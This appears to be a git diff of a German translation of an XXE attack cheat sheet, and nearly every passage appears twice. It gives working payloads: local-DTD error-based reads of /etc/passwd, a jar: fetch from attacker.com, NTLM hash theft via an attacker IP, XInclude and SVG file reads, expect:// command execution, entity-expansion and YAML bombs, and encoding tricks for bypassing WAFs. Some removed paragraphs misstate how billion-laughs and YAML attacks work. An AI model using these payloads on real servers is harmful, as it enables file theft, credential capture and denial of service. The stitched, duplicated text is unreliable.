Eine Schlupfloch in der XML-Sprachspezifikation kann dazu führen, dass **sensible Daten durch Fehlermeldungen offengelegt werden, wenn die DTD eines Dokuments interne und externe Deklarationen mischt**. Dieses Problem ermöglicht die interne Neudefinition von extern deklarierten Entitäten, was die Ausführung von fehlerbasierten XXE-Angriffen erleichtert. Solche Angriffe nutzen die Neudefinition einer XML-Parameterentität aus, die ursprünglich in einer externen DTD deklariert wurde, innerhalb einer internen DTD. Wenn Out-of-Band-Verbindungen vom Server blockiert werden, müssen Angreifer auf lokale DTD-Dateien zurückgreifen, um den Angriff durchzuführen, mit dem Ziel, einen Parsingsfehler zu verursachen, um sensible Informationen offenzulegen.
Betrachten Sie ein Szenario, in dem sich auf dem Dateisystem des Servers eine DTD-Datei unter `/usr/local/app/schema.dtd` befindet, die eine Entität mit dem Namen `custom_entity` definiert. Ein Angreifer kann einen XML-Parsing-Fehler verursachen, der den Inhalt der Datei `/etc/passwd` offenbart, indem er eine hybride DTD wie folgt übermittelt:
Betrachten Sie ein Szenario, in dem das Dateisystem des Servers eine DTD-Datei unter `/usr/local/app/schema.dtd` enthält, die eine Entität namens `custom_entity` definiert. Ein Angreifer kann einen XML-Parsingfehler induzieren, der den Inhalt der Datei `/etc/passwd` offenbart, indem er eine hybride DTD wie folgt einreicht:
```xml
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">
@ -187,13 +175,13 @@ Betrachten Sie ein Szenario, in dem sich auf dem Dateisystem des Servers eine DT
%local_dtd;
]>
```
Die folgenden Schritte werden von dieser DTD ausgeführt:
Die beschriebenen Schritte werden von dieser DTD ausgeführt:
- Die Definition einer XML-Parameterentität mit dem Namen `local_dtd` enthält die externe DTD-Datei, die sich auf dem Dateisystem des Servers befindet.
- Eine Neudefinition der XML-Parameterentität `custom_entity`, die ursprünglich in der externen DTD definiert wurde, erfolgt, um einen [fehlerbasierten XXE-Exploit](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages) zu umschließen. Diese Neudefinition ist darauf ausgelegt, einen Parsing-Fehler hervorzurufen und den Inhalt der Datei `/etc/passwd` offenzulegen.
- Durch Verwendung der Entität `local_dtd` wird die externe DTD aktiviert, die die neu definierte `custom_entity` umfasst. Diese Abfolge von Aktionen führt zur Ausgabe der vom Exploit angestrebten Fehlermeldung.
* Die Definition einer XML-Parameterentität mit dem Namen `local_dtd` enthält die externe DTD-Datei, die sich auf dem Dateisystem des Servers befindet.
* Es erfolgt eine Neudefinition der XML-Parameterentität `custom_entity`, die ursprünglich in der externen DTD definiert wurde, um einen [fehlerbasierten XXE-Exploit](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages) zu umschließen. Diese Neudefinition ist darauf ausgelegt, einen Parsfehler hervorzurufen, der den Inhalt der Datei `/etc/passwd` offenlegt.
* Durch Verwendung der Entität `local_dtd` wird die externe DTD einbezogen, die die neu definierte `custom_entity` umfasst. Diese Abfolge von Aktionen führt zur Ausgabe der vom Exploit angestrebten Fehlermeldung.
**Praxisbeispiel:** Systeme, die die GNOME-Desktop-Umgebung verwenden, haben oft eine DTD-Datei unter `/usr/share/yelp/dtd/docbookx.dtd`, die eine Entität namens `ISOamso` enthält.
**Beispiel aus der realen Welt:** Systeme, die die GNOME-Desktop-Umgebung verwenden, haben oft eine DTD unter `/usr/share/yelp/dtd/docbookx.dtd`, die eine Entität namens `ISOamso` enthält.
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
@ -210,7 +198,7 @@ Die folgenden Schritte werden von dieser DTD ausgeführt:
```
![](<../.gitbook/assets/image (224).png>)
Da diese Technik eine **interne DTD verwendet, müssen Sie zuerst eine gültige finden**. Sie könnten dies tun, indem Sie das gleiche **Betriebssystem / Software** installieren, das der Server verwendet, und nach einigen Standard-DTDs suchen, oder Sie könnten eine Liste von Standard-DTDs in Systemen abrufen und überprüfen, ob eine davon existiert:
Da diese Technik eine **interne DTD verwendet, müssen Sie zuerst eine gültige finden**. Sie könnten dies tun, indem Sie dasselbe **Betriebssystem / dieselbe Software installieren**, die der Server verwendet, und **nach einigen Standard-DTDs suchen**, oder **eine Liste** von **Standard-DTDs** in Systemen abrufen und **überprüfen**, ob eine davon existiert:
```xml
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
@ -221,11 +209,11 @@ Für weitere Informationen siehe [https://portswigger.net/web-security/xxe/blind
### Auffinden von DTDs im System
In dem folgenden großartigen Github-Repo finden Sie **Pfade von DTDs, die im System vorhanden sein können**:
In dem folgenden großartigen Github-Repo findest du **Pfade von DTDs, die im System vorhanden sein können**:
{% embed url="https://github.com/GoSecure/dtd-finder/tree/master/list" %}
Darüber hinaus können Sie, wenn Sie das **Docker-Image des Opfersystems** haben, das Tool des gleichen Repos verwenden, um das **Image zu scannen** und den Pfad der im System vorhandenen **DTDs zu finden**. Lesen Sie das [Readme des Githubs](https://github.com/GoSecure/dtd-finder), um zu erfahren, wie.
Darüber hinaus, wenn du das **Docker-Image des Opfersystems** hast, kannst du das Tool desselben Repos verwenden, um das **Image zu scannen** und den Pfad der **DTDs** im System zu **finden**. Lies das [Readme des Githubs](https://github.com/GoSecure/dtd-finder), um zu erfahren, wie.
```bash
java -jar dtd-finder-1.2-SNAPSHOT-all.jar /tmp/dadocker.tar
@ -239,60 +227,55 @@ Testing 0 entities : []
```
### XXE über Office Open XML-Parser
Für eine ausführlichere Erklärung dieses Angriffs **schauen Sie sich den zweiten Abschnitt dieses erstaunlichen Beitrags von Detectify an**.
Für eine ausführlichere Erklärung dieses Angriffs, **überprüfen Sie den zweiten Abschnitt** [**dieses erstaunlichen Beitrags**](https://labs.detectify.com/2021/09/15/obscure-xxe-attacks/) **von Detectify**.
Viele Webanwendungen bieten die Möglichkeit, **Microsoft Office-Dokumente hochzuladen**, die dann bestimmte Details aus diesen Dokumenten extrahieren. Zum Beispiel kann eine Webanwendung Benutzern ermöglichen, Daten durch Hochladen einer XLSX-Format-Tabelle zu importieren. Damit der Parser die Daten aus der Tabelle extrahieren kann, muss er zwangsläufig mindestens eine XML-Datei analysieren.
Die Fähigkeit, **Microsoft Office-Dokumente hochzuladen, wird von vielen Webanwendungen** angeboten, die dann bestimmte Details aus diesen Dokumenten extrahieren. Beispielsweise kann eine Webanwendung Benutzern ermöglichen, Daten durch Hochladen einer Tabelle im XLSX-Format zu importieren. Damit der Parser die Daten aus der Tabelle extrahieren kann, muss er zwangsläufig mindestens eine XML-Datei analysieren.
Um diese Schwachstelle zu testen, ist es erforderlich, eine **Microsoft Office-Datei mit einer XXE-Payload zu erstellen**. Der erste Schritt besteht darin, ein leeres Verzeichnis zu erstellen, in das das Dokument entpackt werden kann.
Um diese Schwachstelle zu testen, ist es erforderlich, eine **Microsoft Office-Datei mit einem XXE-Payload zu erstellen**. Der erste Schritt besteht darin, ein leeres Verzeichnis zu erstellen, in das das Dokument entpackt werden kann.
Sobald das Dokument entpackt wurde, sollte die XML-Datei unter `./unzipped/word/document.xml` in einem bevorzugten Texteditor (wie vim) geöffnet und bearbeitet werden. Die XML sollte so geändert werden, dass die gewünschte XXE-Payload enthalten ist, oft beginnend mit einer HTTP-Anfrage.
Nachdem das Dokument entpackt wurde, sollte die XML-Datei unter `./unzipped/word/document.xml` in einem bevorzugten Texteditor (wie vim) geöffnet und bearbeitet werden. Die XML sollte so geändert werden, dass der gewünschte XXE-Payload eingefügt wird, der oft mit einer HTTP-Anfrage beginnt.
Die modifizierten XML-Zeilen sollten zwischen den beiden Wurzel-XML-Objekten eingefügt werden. Es ist wichtig, die URL durch eine überwachbare URL für Anfragen zu ersetzen.
Die geänderten XML-Zeilen sollten zwischen den beiden Wurzel-XML-Objekten eingefügt werden. Es ist wichtig, die URL durch eine überwachbare URL für Anfragen zu ersetzen.
Schließlich kann die Datei gezippt werden, um die bösartige poc.docx-Datei zu erstellen. Aus dem zuvor erstellten "unzipped"-Verzeichnis sollte der folgende Befehl ausgeführt werden:
Nun kann die erstellte Datei in die potenziell gefährdete Webanwendung hochgeladen werden, und man kann auf eine Anfrage in den Burp Collaborator-Protokollen hoffen.
Jetzt kann die erstellte Datei in die potenziell gefährdete Webanwendung hochgeladen werden, und man kann auf das Erscheinen einer Anfrage in den Burp Collaborator-Protokollen hoffen.
### Jar: Protokoll
Das **jar**-Protokoll ist ausschließlich in **Java-Anwendungen** zugänglich. Es wurde entwickelt, um den Dateizugriff innerhalb eines **PKZIP**-Archivs (z. B. `.zip`, `.jar`, usw.) zu ermöglichen und sowohl lokale als auch entfernte Dateien zu unterstützen.
Das **jar**-Protokoll ist ausschließlich in **Java-Anwendungen** verfügbar. Es ist darauf ausgelegt, den Dateizugriff innerhalb eines **PKZIP**-Archivs (z. B. `.zip`, `.jar`, usw.) zu ermöglichen und sowohl lokale als auch entfernte Dateien zu unterstützen.
```
jar:file:///var/myarchive.zip!/file.txt
jar:https://download.host.com/myarchive.zip!/file.txt
```
{% hint style="danger" %}
Um auf Dateien innerhalb von PKZIP-Archiven zugreifen zu können, ist es **sehr nützlich, XXE über System DTD-Dateien auszunutzen**. Überprüfen Sie [diesen Abschnitt, um zu erfahren, wie man System DTD-Dateien ausnutzt](xxe-xee-xml-external-entity.md#error-based-system-dtd).
Um auf Dateien innerhalb von PKZIP-Dateien zugreifen zu können, ist es **sehr nützlich, XXE über System-DTD-Dateien zu missbrauchen.** Überprüfen Sie [diesen Abschnitt, um zu lernen, wie man System-DTD-Dateien missbraucht](xxe-xee-xml-external-entity.md#error-based-system-dtd).
{% endhint %}
Der Prozess, um über das jar-Protokoll auf eine Datei innerhalb eines PKZIP-Archivs zuzugreifen, umfasst mehrere Schritte:
Der Prozess, um auf eine Datei innerhalb eines PKZIP-Archivs über das jar-Protokoll zuzugreifen, umfasst mehrere Schritte:
1. Es wird eine HTTP-Anfrage gestellt, um das Zip-Archiv von einem bestimmten Speicherort herunterzuladen, wie z.B. `https://download.website.com/archive.zip`.
1. Es wird eine HTTP-Anfrage gestellt, um das Zip-Archiv von einem bestimmten Ort wie `https://download.website.com/archive.zip` herunterzuladen.
2. Die HTTP-Antwort, die das Archiv enthält, wird vorübergehend auf dem System gespeichert, normalerweise an einem Ort wie `/tmp/...`.
3. Das Archiv wird dann extrahiert, um auf dessen Inhalte zugreifen zu können.
3. Das Archiv wird dann extrahiert, um auf dessen Inhalt zuzugreifen.
4. Die spezifische Datei innerhalb des Archivs, `file.zip`, wird gelesen.
5. Nach der Operation werden alle temporären Dateien, die während dieses Prozesses erstellt wurden, gelöscht.
Eine interessante Technik, um diesen Prozess im zweiten Schritt zu unterbrechen, besteht darin, die Serververbindung unbegrenzt offen zu halten, während die Archivdatei bereitgestellt wird. Tools, die in [diesem Repository](https://github.com/GoSecure/xxe-workshop/tree/master/24_write_xxe/solution) verfügbar sind, können zu diesem Zweck verwendet werden, einschließlich eines Python-Servers (`slow_http_server.py`) und eines Java-Servers (`slowserver.jar`).
Eine interessante Technik, um diesen Prozess im zweiten Schritt zu unterbrechen, besteht darin, die Serververbindung unbegrenzt offen zu halten, während das Archiv bereitgestellt wird. Tools, die in [diesem Repository](https://github.com/GoSecure/xxe-workshop/tree/master/24\_write\_xxe/solution) verfügbar sind, können zu diesem Zweck genutzt werden, einschließlich eines Python-Servers (`slow_http_server.py`) und eines Java-Servers (`slowserver.jar`).
```xml
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "jar:http://attacker.com:8080/evil.zip!/evil.dtd">]>
<foo>&xxe;</foo>
```
{% hint style="danger" %}
Das Schreiben von Dateien in einem temporären Verzeichnis kann dazu beitragen, eine andere Schwachstelle zu eskalieren, die einen Pfad-Traversal beinhaltet (wie z.B. lokale Dateieinbindung, Template-Injection, XSLT RCE, Deserialisierung, etc.).
Das Schreiben von Dateien in einem temporären Verzeichnis kann dazu beitragen, **eine andere Schwachstelle zu eskalieren, die einen Pfadtraversierungsvorfall beinhaltet** (wie z.B. lokale Dateieinschließung, Vorlageninjektion, XSLT RCE, Deserialisierung, usw.).
{% endhint %}
### XSS
```xml
<![CDATA[<]]>script<![CDATA[>]]>alert(1)<![CDATA[<]]>/script<![CDATA[>]]>
```
Eine Billion-Lach-Attacke ist eine Art von Denial-of-Service-Angriff (DoS-Angriff), der auf XML External Entity (XXE) basiert. Bei diesem Angriff wird ein speziell gestaltetes XML-Dokument verwendet, das eine große Anzahl von Entity-Verweisen enthält. Jeder dieser Verweise verweist auf eine andere Entity, die wiederum auf eine andere Entity verweist und so weiter. Dies führt zu einer exponentiellen Zunahme der Anzahl von Entity-Verweisen und kann dazu führen, dass das System überlastet wird und nicht mehr reagiert.
### DoS
Der Name "Billion Laugh Attack" kommt von der Tatsache, dass das XML-Dokument eine Billion (10^12) Entity-Verweise enthält. Wenn das System versucht, das Dokument zu verarbeiten, wird es in einer endlosen Schleife gefangen und verbraucht eine große Menge an CPU-Ressourcen. Dies kann dazu führen, dass das System abstürzt oder nicht mehr reagiert.
Diese Art von Angriff kann dazu verwendet werden, einen DoS-Angriff auf eine Anwendung oder einen Webdienst durchzuführen, der XML-Verarbeitung unterstützt. Es ist wichtig zu beachten, dass nicht alle Anwendungen anfällig für eine Billion-Lach-Attacke sind. Die Verwundbarkeit tritt auf, wenn die Anwendung nicht ordnungsgemäß mit externen Entitäten umgeht und es einem Angreifer ermöglicht, schädlichen Code einzufügen und auszuführen.
Um sich vor einer Billion-Lach-Attacke zu schützen, sollten Entwickler sicherstellen, dass ihre Anwendungen sicher mit externen Entitäten umgehen. Dies kann durch das Deaktivieren der externen Entitäten oder das Implementieren von Whitelists für erlaubte Entitäten erreicht werden. Es ist auch wichtig, regelmäßig Sicherheitsupdates für die verwendeten XML-Parser und -Bibliotheken durchzuführen, da diese oft Patches enthalten, um solche Angriffe zu verhindern.
#### Billion Laugh Attack
```xml
<!DOCTYPE data [
<!ENTITY a0 "dos" >
@ -304,21 +287,6 @@ Um sich vor einer Billion-Lach-Attacke zu schützen, sollten Entwickler sicherst
<data>&a4;</data>
```
#### Yaml-Angriff
YAML (YAML Ain't Markup Language) ist eine einfache, menschenlesbare Datenstruktur, die häufig zum Speichern und Übertragen von Konfigurationsdaten verwendet wird. YAML-Dateien können jedoch auch anfällig für Angriffe sein, insbesondere für sogenannte Yaml-Angriffe.
Ein Yaml-Angriff tritt auf, wenn ein Angreifer eine bösartige YAML-Datei erstellt, die eine Schwachstelle im Verarbeitungsmechanismus ausnutzt. Dies kann zu verschiedenen Sicherheitsproblemen führen, wie z.B. der Offenlegung sensibler Informationen oder der Ausführung von Remote-Code.
Um einen Yaml-Angriff durchzuführen, muss der Angreifer eine speziell gestaltete YAML-Datei erstellen, die eine externe Entität enthält. Eine externe Entität ist ein Verweis auf eine externe Ressource, wie z.B. eine Datei oder eine URL. Wenn die YAML-Datei verarbeitet wird, wird die externe Entität aufgelöst und kann dazu führen, dass vertrauliche Informationen preisgegeben werden oder dass bösartiger Code ausgeführt wird.
Es gibt verschiedene Techniken, um einen Yaml-Angriff durchzuführen, darunter:
- XML External Entity (XXE) Injection: Diese Technik nutzt die Fähigkeit von YAML, XML-Daten zu verarbeiten, um externe Entitäten einzufügen und auszuführen.
- Remote Code Execution (RCE): Durch die Ausführung von bösartigem Code kann ein Angreifer die Kontrolle über das System übernehmen und verschiedene Aktionen ausführen.
Um sich vor Yaml-Angriffen zu schützen, sollten Entwickler und Systemadministratoren sicherstellen, dass die YAML-Verarbeitung ordnungsgemäß abgesichert ist. Dies kann durch das Deaktivieren der Verarbeitung externer Entitäten, das Validieren und Filtern von Benutzereingaben sowie das Aktualisieren auf die neuesten Versionen der verwendeten YAML-Bibliotheken erreicht werden.
Es ist auch wichtig, regelmäßig Sicherheitsupdates durchzuführen und bewährte Sicherheitspraktiken zu befolgen, um das Risiko von Yaml-Angriffen zu minimieren.
```xml
a: &a ["lol","lol","lol","lol","lol","lol","lol","lol","lol"]
b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a]
@ -334,27 +302,25 @@ i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]
![](<../.gitbook/assets/image (531).png>)
#### NTML erhalten
#### Abrufen von NTML
Auf Windows-Hosts ist es möglich, den NTML-Hash des Webserver-Benutzers zu erhalten, indem ein responder.py-Handler festgelegt wird:
Auf Windows-Hosts ist es möglich, den NTML-Hash des Webservers Benutzers zu erhalten, indem ein responder.py-Handler festgelegt wird:
```bash
Responder.py -I eth0 -v
```
und indem Sie die folgende Anfrage senden
und durch das Senden der folgenden Anfrage
```xml
<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY example SYSTEM 'file://///attackerIp//randomDir/random.jpg'> ]>
<data>&example;</data>
```
Dann können Sie versuchen, den Hash mit Hashcat zu knacken.
## Versteckte XXE-Oberflächen
### XInclude
Bei der Integration von Client-Daten in serverseitige XML-Dokumente, wie sie in Backend-SOAP-Anfragen verwendet werden, ist die direkte Kontrolle über die XML-Struktur häufig eingeschränkt, was herkömmliche XXE-Angriffe aufgrund von Einschränkungen bei der Änderung des `DOCTYPE`-Elements behindert. Ein `XInclude`-Angriff bietet jedoch eine Lösung, indem er das Einfügen externer Entitäten in jedes Datenelement des XML-Dokuments ermöglicht. Diese Methode ist auch dann wirksam, wenn nur ein Teil der Daten innerhalb eines servergenerierten XML-Dokuments kontrolliert werden kann.
Bei der Integration von Client-Daten in serverseitige XML-Dokumente, wie sie in Backend-SOAP-Anfragen verwendet werden, ist die direkte Kontrolle über die XML-Struktur häufig eingeschränkt, was herkömmliche XXE-Angriffe aufgrund von Beschränkungen bei der Änderung des `DOCTYPE`-Elements behindert. Ein `XInclude`-Angriff bietet jedoch eine Lösung, indem externe Entitäten in jedes Datenelement des XML-Dokuments eingefügt werden können. Diese Methode ist selbst dann wirksam, wenn nur ein Teil der Daten innerhalb eines servergenerierten XML-Dokuments kontrolliert werden kann.
Um einen `XInclude`-Angriff auszuführen, muss der `XInclude`-Namespace deklariert und der Dateipfad für die beabsichtigte externe Entität angegeben werden. Im Folgenden finden Sie ein prägnantes Beispiel, wie ein solcher Angriff formuliert werden kann:
Um einen `XInclude`-Angriff auszuführen, muss der `XInclude`-Namespace deklariert und der Dateipfad für die beabsichtigte externe Entität angegeben werden. Nachfolgend finden Sie ein prägnantes Beispiel, wie ein solcher Angriff formuliert werden kann:
```xml
productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1
```
@ -362,29 +328,29 @@ productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="tex
### SVG - Datei-Upload
Von Benutzern hochgeladene Dateien, die dann auf dem Server verarbeitet werden, können Schwachstellen in der Handhabung von XML- oder XML-Dateiformaten ausnutzen. Gängige Dateiformate wie Office-Dokumente (DOCX) und Bilder (SVG) basieren auf XML.
Dateien, die von Benutzern in bestimmte Anwendungen hochgeladen und dann auf dem Server verarbeitet werden, können Schwachstellen in der Behandlung von XML- oder XML-enthaltenden Dateiformaten ausnutzen. Gängige Dateiformate wie Office-Dokumente (DOCX) und Bilder (SVG) basieren auf XML.
Wenn Benutzer **Bilder hochladen**, werden diese Bilder serverseitig verarbeitet oder validiert. Selbst für Anwendungen, die Formate wie PNG oder JPEG erwarten, **könnte die Bildverarbeitungsbibliothek des Servers auch SVG-Bilder unterstützen**. SVG, als XML-basiertes Format, kann von Angreifern ausgenutzt werden, um bösartige SVG-Bilder zu übermitteln und dadurch den Server an XXE (XML External Entity)-Schwachstellen zu exponieren.
Wenn Benutzer **Bilder hochladen**, werden diese Bilder serverseitig verarbeitet oder validiert. Selbst für Anwendungen, die Formate wie PNG oder JPEG erwarten, könnte die **Bibliothek zur Bildverarbeitung des Servers auch SVG-Bilder unterstützen**. SVG, als XML-basiertes Format, kann von Angreifern ausgenutzt werden, um bösartige SVG-Bilder zu übermitteln und den Server somit anfällig für XXE (XML External Entity)-Schwachstellen zu machen.
Ein Beispiel für einen solchen Angriff wird unten gezeigt, bei dem ein bösartiges SVG-Bild versucht, Systemdateien zu lesen:
```xml
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200"><image xlink:href="file:///etc/hostname"></image></svg>
```
Eine andere Methode besteht darin, versuchen, Befehle über den PHP-"expect"-Wrapper auszuführen:
Eine weitere Methode besteht darin, zu versuchen, Befehle über den PHP-"expect"-Wrapper auszuführen:
```xml
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
<image xlink:href="expect://ls"></image>
</svg>
```
In beiden Fällen wird das SVG-Format verwendet, um Angriffe zu starten, die die XML-Verarbeitungsfähigkeiten der Server-Software ausnutzen. Dies unterstreicht die Notwendigkeit einer robusten Eingabevalidierung und Sicherheitsmaßnahmen.
In beiden Fällen wird das SVG-Format verwendet, um Angriffe zu starten, die die XML-Verarbeitungsfähigkeiten der Server-Software ausnutzen, was die Notwendigkeit einer robusten Eingabevalidierung und Sicherheitsmaßnahmen verdeutlicht.
Weitere Informationen finden Sie unter [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe)!
Überprüfen Sie [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) für weitere Informationen!
**Beachten Sie, dass die erste Zeile der gelesenen Datei oder des Ergebnisses der Ausführung INNERHALB des erstellten Bildes angezeigt wird. Sie müssen also in der Lage sein, auf das von SVG erstellte Bild zuzugreifen.**
**Beachten Sie, dass die erste Zeile der gelesenen Datei oder des Ergebnisses der Ausführung INNERHALB des erstellten Bildes erscheinen wird. Sie müssen also auf das Bild zugreifen können, das SVG erstellt hat.**
### **PDF - Datei-Upload**
Lesen Sie den folgenden Beitrag, um zu erfahren, wie Sie eine XXE ausnutzen können, indem Sie eine PDF-Datei hochladen:
Lesen Sie den folgenden Beitrag, um zu erfahren, wie man eine XXE ausnutzt, indem man eine PDF-Datei hochlädt:
{% content-ref url="file-upload/pdf-upload-xxe-and-cors-bypass.md" %}
[pdf-upload-xxe-and-cors-bypass.md](file-upload/pdf-upload-xxe-and-cors-bypass.md)
@ -392,7 +358,7 @@ Lesen Sie den folgenden Beitrag, um zu erfahren, wie Sie eine XXE ausnutzen kön
### Content-Type: Von x-www-urlencoded zu XML
Wenn eine POST-Anfrage die Daten im XML-Format akzeptiert, können Sie versuchen, eine XXE in dieser Anfrage auszunutzen. Zum Beispiel enthält eine normale Anfrage folgendes:
Wenn eine POST-Anfrage die Daten im XML-Format akzeptiert, könnten Sie versuchen, eine XXE in dieser Anfrage auszunutzen. Zum Beispiel, wenn eine normale Anfrage Folgendes enthält:
```xml
POST /action HTTP/1.0
Content-Type: application/x-www-form-urlencoded
@ -400,7 +366,7 @@ Content-Length: 7
foo=bar
```
Dann könnten Sie möglicherweise die folgende Anfrage senden, mit demselben Ergebnis:
Dann könnten Sie möglicherweise die folgende Anfrage mit demselben Ergebnis senden:
```xml
POST /action HTTP/1.0
Content-Type: text/xml
@ -410,7 +376,7 @@ Content-Length: 52
```
### Content-Type: Von JSON zu XEE
Um die Anfrage zu ändern, können Sie eine Burp-Erweiterung namens "**Content Type Converter**" verwenden. [Hier](https://exploitstube.com/xxe-for-fun-and-profit-converting-json-request-to-xml.html) finden Sie ein Beispiel dafür:
Um die Anfrage zu ändern, könnten Sie eine Burp-Erweiterung namens "**Content Type Converter**" verwenden. [Hier](https://exploitstube.com/xxe-for-fun-and-profit-converting-json-request-to-xml.html) finden Sie dieses Beispiel:
```xml
Content-Type: application/json;charset=UTF-8
@ -438,9 +404,9 @@ Content-Type: application/xml;charset=UTF-8
</root>
</root>
```
Ein weiteres Beispiel finden Sie [hier](https://medium.com/hmif-itb/googlectf-2019-web-bnv-writeup-nicholas-rianto-putra-medium-b8e2d86d78b2).
Eine weitere Beispiel finden Sie [hier](https://medium.com/hmif-itb/googlectf-2019-web-bnv-writeup-nicholas-rianto-putra-medium-b8e2d86d78b2).
## WAF & Schutzmaßnahmen umgehen
## WAF & Schutzmechanismen Umgehen
### Base64
```xml
@ -450,7 +416,7 @@ Dies funktioniert nur, wenn der XML-Server das `data://`-Protokoll akzeptiert.
### UTF-7
Sie können die \[**"Encode Recipe**" von CyberChef hier ]\(\[[https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7) %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to]\([https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7 %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to](https://gchq.github.io/CyberChef/#recipe=Encode\_text%28%27UTF-7%20%2865000%29%27%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to)) transformieren in UTF-7.
Sie können die \[**"Encode Recipe**" von CyberChef hier ]\([https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7) %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)verwenden, um in UTF-7 zu transformieren.
```xml
<!xml version="1.0" encoding="UTF-7"?-->
+ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4-
@ -464,57 +430,41 @@ Sie können die \[**"Encode Recipe**" von CyberChef hier ]\(\[[https://gchq.gith
```
### Datei:/ Protokollumgehung
Wenn die Webseite PHP verwendet, können Sie anstelle von `file:/` die **PHP Wrapper** `php://filter/convert.base64-encode/resource=` verwenden, um auf **interne Dateien zuzugreifen**.
Wenn die Website PHP verwendet, können Sie anstelle von `file:/` **PHP-Wrapper** `php://filter/convert.base64-encode/resource=` verwenden, um auf **interne Dateien zuzugreifen**.
Wenn die Webseite Java verwendet, können Sie das [**jar-Protokoll**](xxe-xee-xml-external-entity.md#jar-protocol) überprüfen.
Wenn die Website Java verwendet, können Sie das [**jar: Protokoll**](xxe-xee-xml-external-entity.md#jar-protocol) überprüfen.
### HTML-Entitäten
Trick von [**https://github.com/Ambrotd/XXE-Notes**](https://github.com/Ambrotd/XXE-Notes)\
Sie können eine **Entität innerhalb einer Entität** erstellen, indem Sie sie mit **HTML-Entitäten** codieren und sie dann aufrufen, um eine DTD zu **laden**.\
Beachten Sie, dass die verwendeten **HTML-Entitäten** **numerisch** sein müssen (wie \[in diesem Beispiel]\([https://gchq.github.io/CyberChef/#recipe=To\_HTML\_Entity%28true,'Numeric entities'%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\\](https://gchq.github.io/CyberChef/#recipe=To\_HTML\_Entity%28true,%27Numeric%20entities%27%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B\)%5C)).
Sie können eine **Entität innerhalb einer Entität** erstellen, indem Sie sie mit **HTML-Entitäten** codieren und sie dann aufrufen, um eine **dtd zu laden**.\
Beachten Sie, dass die verwendeten **HTML-Entitäten** **numerisch** sein müssen (wie im \[Beispiel]\([https://gchq.github.io/CyberChef/#recipe=To\_HTML\_Entity%28true,'Numeric entities'%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\\](https://gchq.github.io/CyberChef/#recipe=To\_HTML\_Entity%28true,%27Numeric%20entities%27%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B\)%5C)).
```xml
